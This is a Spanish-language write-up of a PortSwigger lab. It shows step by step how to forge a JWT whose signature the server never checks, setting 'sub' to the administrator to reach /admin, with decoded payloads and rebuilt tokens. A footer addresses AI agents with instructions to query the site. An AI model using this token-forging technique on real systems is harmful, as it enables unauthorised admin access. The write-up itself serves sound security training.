> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-unverified-signature.md).

# Bypass de autenticación JWT mediante firma no verificada

Notas sobre Bypass de autenticación JWT mediante firma no verificada para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Bypass de autenticación JWT mediante firma no verificada

**Contexto del laboratorio**

Este laboratorio utiliza **JSON Web Tokens (JWT)** para gestionar sesiones de usuario. / Debido a un fallo crítico de implementación, **el servidor no verifica la firma del JWT recibido**.

**Objetivo:**

* Edita el token de sesión para acceder a `/admin` panel de administración
* Eliminar usuario **carlos**

**Credenciales proporcionadas:**

* `wiener : peter`

**Paso 1 – Autenticación y recuperación del JWT**

Después de conectarse al `wiener` usuario, la aplicación genera una cookie de sesión \*\*JWT\*\*.

El token tiene la estructura clásica:

* **Encabezado**
* **Carga útil**
* **Firma**

{% code overflow="wrap" %}

```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df6c50b868f1473d743ba66f75b65fb3830acaa1%2Fimage%20(166).png?alt=media" alt=""><figcaption></figcaption></figure>

**Paso 2 – Análisis del contenido del JWT**

Al decodificar el JWT, vemos el siguiente payload:

```json
{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "wiener"
}
```

El `sub` campo representa la identidad del usuario autenticado.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e1bcf556c1ade7b5d478c9c6a88bb0d280e8ae3%2Fimage%20(167).png?alt=media" alt=""><figcaption></figcaption></figure>

**Paso 3 – Cambiar el payload**

Dado que el servidor **no valida la firma**, es posible modificar libremente el contenido del token.

El valor de `sub` se reemplaza:

```json
{
  "iss": "portswigger",
  "exp": 1767531263,
  "sub": "administrador"
}
```

Luego, el JWT se **reconstruye** (independientemente de la firma, no será verificada).

{% code overflow="wrap" %}

```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3035ee87eddcb6329cfe84bfdad97b18289a22b9%2Fimage%20(161).png?alt=media" alt=""><figcaption></figcaption></figure>

**Paso 4 – Uso del JWT falsificado**

El nuevo token se inyecta en la cookie de sesión del navegador.

Resultado:

* La aplicación considera al usuario como **administrador**
* El acceso a `/admin` está permitido

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a50216ca366913119aae8f32d550eaf160a17d1e%2Fimage%20(172).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-unverified-signature.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
